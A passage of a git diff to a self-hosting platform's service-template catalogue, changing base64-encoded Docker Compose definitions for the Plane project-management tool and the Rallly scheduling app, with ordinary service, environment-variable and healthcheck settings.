ScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgTElWRV9TRVJWRVJfU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfTElWRVNFQ1JFVAogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICAgIFJFRElTX0hPU1Q6ICcke1JFRElTX0hPU1Q6LXBsYW5lLXJlZGlzfScKICAgICAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgICAgIFJFRElTX1VSTDogJyR7UkVESVNfVVJMOi1yZWRpczovL3BsYW5lLXJlZGlzOjYzNzkvfScKICAgICAgTUlOSU9fUk9PVF9VU0VSOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIE1JTklPX1JPT1RfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19SRUdJT046ICcke0FXU19SRUdJT046LX0nCiAgICAgIEFXU19BQ0NFU1NfS0VZX0lEOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1MzX0VORFBPSU5UX1VSTDogJyR7QVdTX1MzX0VORFBPSU5UX1VSTDotaHR0cDovL3BsYW5lLW1pbmlvOjkwMDB9JwogICAgICBBV1NfUzNfQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIEFQUF9ET01BSU46ICcke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIEZJTEVfU0laRV9MSU1JVDogJyR7RklMRV9TSVpFX0xJTUlUOi01MjQyODgwfScKICAgICAgQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIFNJVEVfQUREUkVTUzogJyR7U0lURV9BRERSRVNTOi06ODB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgd29ya2VyOgogICAgaW1hZ2U6ICdtYWtlcGxhbmUvcGxhbmUtYmFja2VuZDoke0FQUF9SRUxFQVNFOi12MS4zLjB9JwogICAgY29tbWFuZDogLi9iaW4vZG9ja2VyLWVudHJ5cG9pbnQtd29ya2VyLnNoCiAgICB2b2x1bWVzOgogICAgICAtICdsb2dzX3dvcmtlcjovY29kZS9wbGFuZS9sb2dzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIEFQUF9SRUxFQVNFOiAnJHtBUFBfUkVMRUFTRTotdjEuMy4wfScKICAgICAgV0VCX1VSTDogJyR7U0VSVklDRV9GUUROX1BMQU5FfScKICAgICAgREVCVUc6ICcke0RFQlVHOi0wfScKICAgICAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICAgICAgR1VOSUNPUk5fV09SS0VSUzogJyR7R1VOSUNPUk5fV09SS0VSUzotMX0nCiAgICAgIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICAgICAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgICAgIFNFQ1JFVF9LRVk6ICRTRVJWSUNFX1BBU1NXT1JEXzY0X1NFQ1JFVEtFWQogICAgICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogICAgICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICAgICAgTUlOSU9fRU5EUE9JTlRfU1NMOiAnJHtNSU5JT19FTkRQT0lOVF9TU0w6LTB9JwogICAgICBMSVZFX1NFUlZFUl9TRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9MSVZFU0VDUkVUCiAgICAgIFBHSE9TVDogcGxhbmUtZGIKICAgICAgUEdEQVRBQkFTRTogcGxhbmUKICAgICAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICBQT1NUR1JFU19QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfREI6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICAgICAgUEdEQVRBOiAvdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEKICAgICAgUkVESVNfSE9TVDogJyR7UkVESVNfSE9TVDotcGxhbmUtcmVkaXN9JwogICAgICBSRURJU19QT1JUOiAnJHtSRURJU19QT1JUOi02Mzc5fScKICAgICAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99JwogICAgICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgTUlOSU9fUk9PVF9QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICAgICAgQVdTX0FDQ0VTU19LRVlfSUQ6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgICAgIEFXU19TM19CVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgICAgQVBQX0RPTUFJTjogJyR7U0VSVklDRV9GUUROX1BMQU5FfScKICAgICAgRklMRV9TSVpFX0xJTUlUOiAnJHtGSUxFX1NJWkVfTElNSVQ6LTUyNDI4ODB9JwogICAgICBCVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgICAgU0lURV9BRERSRVNTOiAnJHtTSVRFX0FERFJFU1M6LTo4MH0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHBsYW5lLWRiCiAgICAgIC0gcGxhbmUtcmVkaXMKICAgICAgLSBwbGFuZS1tcQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGVjaG8KICAgICAgICAtICdoZXkgd2hhdHMgdXAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBiZWF0LXdvcmtlcjoKICAgIGltYWdlOiAnbWFrZXBsYW5lL3BsYW5lLWJhY2tlbmQ6JHtBUFBfUkVMRUFTRTotdjEuMy4wfScKICAgIGNvbW1hbmQ6IC4vYmluL2RvY2tlci1lbnRyeXBvaW50LWJlYXQuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfYmVhdC13b3JrZXI6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjMuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgTElWRV9TRVJWRVJfU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfTElWRVNFQ1JFVAogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICAgIFJFRElTX0hPU1Q6ICcke1JFRElTX0hPU1Q6LXBsYW5lLXJlZGlzfScKICAgICAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgICAgIFJFRElTX1VSTDogJyR7UkVESVNfVVJMOi1yZWRpczovL3BsYW5lLXJlZGlzOjYzNzkvfScKICAgICAgTUlOSU9fUk9PVF9VU0VSOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIE1JTklPX1JPT1RfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19SRUdJT046ICcke0FXU19SRUdJT046LX0nCiAgICAgIEFXU19BQ0NFU1NfS0VZX0lEOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1MzX0VORFBPSU5UX1VSTDogJyR7QVdTX1MzX0VORFBPSU5UX1VSTDotaHR0cDovL3BsYW5lLW1pbmlvOjkwMDB9JwogICAgICBBV1NfUzNfQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIEFQUF9ET01BSU46ICcke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIEZJTEVfU0laRV9MSU1JVDogJyR7RklMRV9TSVpFX0xJTUlUOi01MjQyODgwfScKICAgICAgQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIFNJVEVfQUREUkVTUzogJyR7U0lURV9BRERSRVNTOi06ODB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgbWlncmF0b3I6CiAgICBpbWFnZTogJ21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjMuMH0nCiAgICByZXN0YXJ0OiAnbm8nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC1taWdyYXRvci5zaAogICAgdm9sdW1lczoKICAgICAgLSAnbG9nc19taWdyYXRvcjovY29kZS9wbGFuZS9sb2dzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIEFQUF9SRUxFQVNFOiAnJHtBUFBfUkVMRUFTRTotdjEuMy4wfScKICAgICAgV0VCX1VSTDogJyR7U0VSVklDRV9GUUROX1BMQU5FfScKICAgICAgREVCVUc6ICcke0RFQlVHOi0wfScKICAgICAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICAgICAgR1VOSUNPUk5fV09SS0VSUzogJyR7R1VOSUNPUk5fV09SS0VSUzotMX0nCiAgICAgIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICAgICAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgICAgIFNFQ1JFVF9LRVk6ICRTRVJWSUNFX1BBU1NXT1JEXzY0X1NFQ1JFVEtFWQogICAgICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogICAgICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICAgICAgTUlOSU9fRU5EUE9JTlRfU1NMOiAnJHtNSU5JT19FTkRQT0lOVF9TU0w6LTB9JwogICAgICBMSVZFX1NFUlZFUl9TRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9MSVZFU0VDUkVUCiAgICAgIFBHSE9TVDogcGxhbmUtZGIKICAgICAgUEdEQVRBQkFTRTogcGxhbmUKICAgICAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICBQT1NUR1JFU19QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfREI6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICAgICAgUEdEQVRBOiAvdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEKICAgICAgUkVESVNfSE9TVDogJyR7UkVESVNfSE9TVDotcGxhbmUtcmVkaXN9JwogICAgICBSRURJU19QT1JUOiAnJHtSRURJU19QT1JUOi02Mzc5fScKICAgICAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99JwogICAgICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgTUlOSU9fUk9PVF9QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICAgICAgQVdTX0FDQ0VTU19LRVlfSUQ6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgICAgIEFXU19TM19CVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgICAgQVBQX0RPTUFJTjogJyR7U0VSVklDRV9GUUROX1BMQU5FfScKICAgICAgRklMRV9TSVpFX0xJTUlUOiAnJHtGSUxFX1NJWkVfTElNSVQ6LTUyNDI4ODB9JwogICAgICBCVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgICAgU0lURV9BRERSRVNTOiAnJHtTSVRFX0FERFJFU1M6LTo4MH0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIHBsYW5lLWRiCiAgICAgIC0gcGxhbmUtcmVkaXMKICBwbGFuZS1kYjoKICAgIGltYWdlOiAncG9zdGdyZXM6MTUuNy1hbHBpbmUnCiAgICBjb21tYW5kOiAicG9zdGdyZXMgLWMgJ21heF9jb25uZWN0aW9ucz0xMDAwJyIKICAgIGVudmlyb25tZW50OgogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICB2b2x1bWVzOgogICAgICAtICdwZ2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBsYW5lLXJlZGlzOgogICAgaW1hZ2U6ICd2YWxrZXkvdmFsa2V5OjcuMi4xMS1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdyZWRpc2RhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwbGFuZS1tcToKICAgIGltYWdlOiAncmFiYml0bXE6My4xMy42LW1hbmFnZW1lbnQtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIFJBQkJJVE1RX0hPU1Q6IHBsYW5lLW1xCiAgICAgIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1VTRVI6ICcke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1BBU1M6ICcke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgICAgUkFCQklUTVFfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICB2b2x1bWVzOgogICAgICAtICdyYWJiaXRtcV9kYXRhOi92YXIvbGliL3JhYmJpdG1xJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdyYWJiaXRtcS1kaWFnbm9zdGljcyAtcSBwaW5nJwogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDMwcwogICAgICByZXRyaWVzOiAzCiAgcGxhbmUtbWluaW86CiAgICBpbWFnZTogJ2doY3IuaW8vY29vbGxhYnNpby9taW5pbzpSRUxFQVNFLjIwMjUtMTAtMTVUMTctMjktNTVaJwogICAgY29tbWFuZDogJ3NlcnZlciAvZXhwb3J0IC0tY29uc29sZS1hZGRyZXNzICI6OTA5MCInCiAgICBlbnZpcm9ubWVudDoKICAgICAgTUlOSU9fUk9PVF9VU0VSOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIE1JTklPX1JPT1RfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9leHBvcnQnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gbWMKICAgICAgICAtIHJlYWR5CiAgICAgICAgLSBsb2NhbAogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "tags": [ + "plane", + "project-management", + "tool", + "open", + "source", + "api", + "nextjs", + "redis", + "postgresql", + "django", + "pm" + ], + "category": "productivity", + "logo": "svgs/plane.svg", + "minversion": "0.0.0", + "port": "80" + }, "plex": { "documentation": "https://docs.linuxserver.io/images/docker-plex/?utm_source=coolify.io", "slogan": "Plex organizes video, music and photos from personal media libraries and streams them to smart TVs, streaming boxes and mobile devices.", @@ -3950,7 +3987,7 @@ "rallly": { "documentation": "https://support.rallly.co/self-hosting/introduction?utm_source=coolify.io", "slogan": "Rallly is an open-source scheduling and collaboration tool designed to make organizing events and meetings easier.", - "compose": "c2VydmljZXM6CiAgcmFsbGx5X2RiOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNC4yJwogICAgdm9sdW1lczoKICAgICAgLSAncmFsbGx5X2RiX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1yYWxsbHl9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1kICQke1BPU1RHUkVTX0RCfSAtVSAkJHtQT1NUR1JFU19VU0VSfScKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHJhbGxseToKICAgIGltYWdlOiAnbHVrZXZlbGxhL3JhbGxseTpsYXRlc3QnCiAgICBwbGF0Zm9ybTogbGludXgvYW1kNjQKICAgIGRlcGVuZHNfb246CiAgICAgIHJhbGxseV9kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1JBTExMWV8zMDAwCiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHJhbGxseV9kYjo1NDMyLyR7UE9TVEdSRVNfREI6LXJhbGxseX0nCiAgICAgIC0gJ1NFQ1JFVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfNjRfUkFMTExZfScKICAgICAgLSAnTkVYVF9QVUJMSUNfQkFTRV9VUkw9aHR0cHM6Ly8ke1NFUlZJQ0VfRlFETl9SQUxMTFl9JwogICAgICAtICdBTExPV0VEX0VNQUlMUz0ke0FMTE9XRURfRU1BSUxTfScKICAgICAgLSAnU1VQUE9SVF9FTUFJTD0ke1NVUFBPUlRfRU1BSUw6LXN1cHBvcnRAZXhhbXBsZS5jb219JwogICAgICAtICdTTVRQX0hPU1Q9JHtTTVRQX0hPU1R9JwogICAgICAtICdTTVRQX1BPUlQ9JHtTTVRQX1BPUlR9JwogICAgICAtICdTTVRQX1NFQ1VSRT0ke1NNVFBfU0VDVVJFfScKICAgICAgLSAnU01UUF9VU0VSPSR7U01UUF9VU0VSfScKICAgICAgLSAnU01UUF9QV0Q9JHtTTVRQX1BXRH0nCiAgICAgIC0gJ1NNVFBfVExTX0VOQUJMRUQ9JHtTTVRQX1RMU19FTkFCTEVEfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAiYmFzaCAtYyAnOj4gL2Rldi90Y3AvMTI3LjAuMC4xLzMwMDAnIHx8IGV4aXQgMSIKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "c2VydmljZXM6CiAgcmFsbGx5X2RiOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNC4yJwogICAgdm9sdW1lczoKICAgICAgLSAncmFsbGx5X2RiX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1yYWxsbHl9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1kICQke1BPU1RHUkVTX0RCfSAtVSAkJHtQT1NUR1JFU19VU0VSfScKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHJhbGxseToKICAgIGltYWdlOiAnbHVrZXZlbGxhL3JhbGxseTpsYXRlc3QnCiAgICBwbGF0Zm9ybTogbGludXgvYW1kNjQKICAgIGRlcGVuZHNfb246CiAgICAgIHJhbGxseV9kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1JBTExMWV8zMDAwCiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHJhbGxseV9kYjo1NDMyLyR7UE9TVEdSRVNfREI6LXJhbGxseX0nCiAgICAgIC0gJ1NFQ1JFVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfNjRfUkFMTExZfScKICAgICAgLSAnTkVYVF9QVUJMSUNfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fUkFMTExZfScKICAgICAgLSAnQUxMT1dFRF9FTUFJTFM9JHtBTExPV0VEX0VNQUlMU30nCiAgICAgIC0gJ1NVUFBPUlRfRU1BSUw9JHtTVVBQT1JUX0VNQUlMOi1zdXBwb3J0QGV4YW1wbGUuY29tfScKICAgICAgLSAnU01UUF9IT1NUPSR7U01UUF9IT1NUfScKICAgICAgLSAnU01UUF9QT1JUPSR7U01UUF9QT1JUfScKICAgICAgLSAnU01UUF9TRUNVUkU9JHtTTVRQX1NFQ1VSRTotZmFsc2V9JwogICAgICAtICdTTVRQX1VTRVI9JHtTTVRQX1VTRVJ9JwogICAgICAtICdTTVRQX1BXRD0ke1NNVFBfUFdEfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAiYmFzaCAtYyAnOj4gL2Rldi90Y3AvMTI3LjAuMC4xLzMwMDAnIHx8IGV4aXQgMSIKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "scheduling", "rallly", @@ -4729,7 +4766,7 